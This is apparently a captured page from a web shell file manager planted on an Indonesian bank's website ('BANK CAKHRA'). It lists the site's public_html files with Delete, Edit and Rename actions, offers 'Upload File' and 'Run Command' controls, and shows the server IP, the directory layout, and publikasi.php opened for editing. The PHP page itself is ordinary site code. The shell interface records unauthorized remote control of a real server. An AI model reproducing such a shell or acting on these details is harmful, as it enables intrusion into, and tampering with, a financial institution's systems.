File Manager
Server IP: 103.233.102.32
Your IP: 18.219.190.131
Current Path: /
/
home
/
bprcakhr
/
public_html
Back to Parent Directory
Create New Directory:
Upload File:
Run Command:
Name
Action
admin/
Delete
|
Rename
database/
Delete
|
Rename
db/
Delete
|
Rename
gambar-pengajuan/
Delete
|
Rename
images/
Delete
|
Rename
uploads/
Delete
|
Rename
.htaccess
Download
|
Delete
|
Edit
|
Rename
about.php
Download
|
Delete
|
Edit
|
Rename
artikel.php
Download
|
Delete
|
Edit
|
Rename
cakhra2.png
Download
|
Delete
|
Edit
|
Rename
deposito.php
Download
|
Delete
|
Edit
|
Rename
edukasi.php
Download
|
Delete
|
Edit
|
Rename
error_log
Download
|
Delete
|
Edit
|
Rename
form-input-marketing.php
Download
|
Delete
|
Edit
|
Rename
index.php
Download
|
Delete
|
Edit
|
Rename
karir.php
Download
|
Delete
|
Edit
|
Rename
kre_investasi.php
Download
|
Delete
|
Edit
|
Rename
kre_konsutif.php
Download
|
Delete
|
Edit
|
Rename
kre_modal_kerja.php
Download
|
Delete
|
Edit
|
Rename
lainnya.php
Download
|
Delete
|
Edit
|
Rename
layanan.php
Download
|
Delete
|
Edit
|
Rename
logo1.png
Download
|
Delete
|
Edit
|
Rename
lokasi.php
Download
|
Delete
|
Edit
|
Rename
mahasiswaa.php
Download
|
Delete
|
Edit
|
Rename
master.php
Download
|
Delete
|
Edit
|
Rename
nav.php
Download
|
Delete
|
Edit
|
Rename
post.php
Download
|
Delete
|
Edit
|
Rename
post_publikasi.php
Download
|
Delete
|
Edit
|
Rename
proses-kredit.php
Download
|
Delete
|
Edit
|
Rename
proses_kredit1.php
Download
|
Delete
|
Edit
|
Rename
proses_pengajuan.php
Download
|
Delete
|
Edit
|
Rename
publikasi.php
Download
|
Delete
|
Edit
|
Rename
sim-depo.php
Download
|
Delete
|
Edit
|
Rename
sim-kre.php
Download
|
Delete
|
Edit
|
Rename
sim-tab.php
Download
|
Delete
|
Edit
|
Rename
sosialisasi.php
Download
|
Delete
|
Edit
|
Rename
style.css
Download
|
Delete
|
Edit
|
Rename
tab-berhadiah.php
Download
|
Delete
|
Edit
|
Rename
tab-bisnis.php
Download
|
Delete
|
Edit
|
Rename
tab-inti.php
Download
|
Delete
|
Edit
|
Rename
tab-intiplus.php
Download
|
Delete
|
Edit
|
Rename
tab-junior.php
Download
|
Delete
|
Edit
|
Rename
tab-karyawan.php
Download
|
Delete
|
Edit
|
Rename
tab.php
Download
|
Delete
|
Edit
|
Rename
tabungan.php
Download
|
Delete
|
Edit
|
Rename
uploadstest.png
Download
|
Delete
|
Edit
|
Rename
Edit File: ./publikasi.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>BANK CAKHRA</title> <link rel="icon" type="image/png" href="images/logo1.png"> <style> /* CSS untuk gaya tampilan */ .menu { text-align: center; margin-bottom: 20px; } .menu-button { padding: 10px 20px; margin: 5px; background-color: #007BFF; color: #fff; border: none; border-radius: 5px; cursor: pointer; font-size: 14px; } .menu-button:hover { background-color: #0056b3; } .publication-container { display: none; } .publication-container.active { display: block; } .grid-container { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); gap: 20px; margin-top: 20px; padding: 10px; } .publication img { width: 100%; border-radius: 5px; } .publication h2 { font-size: 16px; text-align: center; margin-top: 10px; } </style> </head> <body> <?php include 'nav.php'; ?> <div class="menu"> <button class="menu-button" onclick="showContainer('publikasi2')">Publikasi Triwulan</button> <button class="menu-button" onclick="showContainer('triwulan')">Publikasi Koran</button> <button class="menu-button" onclick="showContainer('publikasi3')">Publikasi Tahunan</button> </div> <div class="container"> <?php include 'db/db.php'; // Publikasi Triwulan echo '<div id="publikasi2" class="publication-container active">'; echo '<h2>Publikasi Triwulan</h2>'; echo '<div class="grid-container">'; $sql = "SELECT * FROM publikasi WHERE kategori = 'publikasi 1' ORDER BY id DESC"; $result = mysqli_query($conn, $sql); if ($result && mysqli_num_rows($result) > 0) { while ($row = mysqli_fetch_assoc($result)) { $image_url = $row['foto'] ? 'uploads/' . $row['foto'] : 'uploads/default-image.png'; $post_url = 'post_publikasi.php?id=' . $row['id']; echo '<div class="publication">'; echo '<a href="' . $post_url . '"><img src="' . $image_url . '" alt="' . htmlspecialchars($row['judul']) . '"></a>'; echo '<h2>' . htmlspecialchars($row['judul']) . '</h2>'; echo '</div>'; } } else { echo "<p>Belum ada Publikasi.</p>"; } echo '</div></div>'; // Publikasi Koran echo '<div id="triwulan" class="publication-container">'; echo '<h2>Publikasi Koran</h2>'; echo '<div class="grid-container">'; $sql = "SELECT * FROM publikasi WHERE kategori = 'publikasi 2' ORDER BY id DESC"; $result = mysqli_query($conn, $sql); if ($result && mysqli_num_rows($result) > 0) { while ($row = mysqli_fetch_assoc($result)) { $image_url = $row['foto'] ? 'uploads/' . $row['foto'] : 'uploads/default-image.png'; $post_url = 'post_publikasi.php?id=' . $row['id']; echo '<div class="publication">'; echo '<a href="' . $post_url . '"><img src="' . $image_url . '" alt="' . htmlspecialchars($row['judul']) . '"></a>'; echo '<h2>' . htmlspecialchars($row['judul']) . '</h2>'; echo '</div>'; } } else { echo "<p>Belum ada publikasi.</p>"; } echo '</div></div>'; // Publikasi Tahunan echo '<div id="publikasi3" class="publication-container">'; echo '<h2>Publikasi Tahunan</h2>'; echo '<div class="grid-container">'; $sql = "SELECT * FROM publikasi WHERE kategori = 'publikasi 3' ORDER BY id DESC"; $result = mysqli_query($conn, $sql); if ($result && mysqli_num_rows($result) > 0) { while ($row = mysqli_fetch_assoc($result)) { $image_url = $row['foto'] ? 'uploads/' . $row['foto'] : 'uploads/default-image.png'; $post_url = 'post_publikasi.php?id=' . $row['id']; echo '<div class="publication">'; echo '<a href="' . $post_url . '"><img src="' . $image_url . '" alt="' . htmlspecialchars($row['judul']) . '"></a>'; echo '<h2>' . htmlspecialchars($row['judul']) . '</h2>'; echo '</div>'; } } else { echo "<p>Belum ada publikasi.</p>"; } echo '</div></div>'; mysqli_close($conn); ?> </div> <script> // JavaScript untuk menampilkan container berdasarkan kategori function showContainer(id) { const containers = document.querySelectorAll('.publication-container'); containers.forEach(container => { if (container.id === id) { container.classList.add('active'); } else { container.classList.remove('active'); } }); } </script> </body> </html>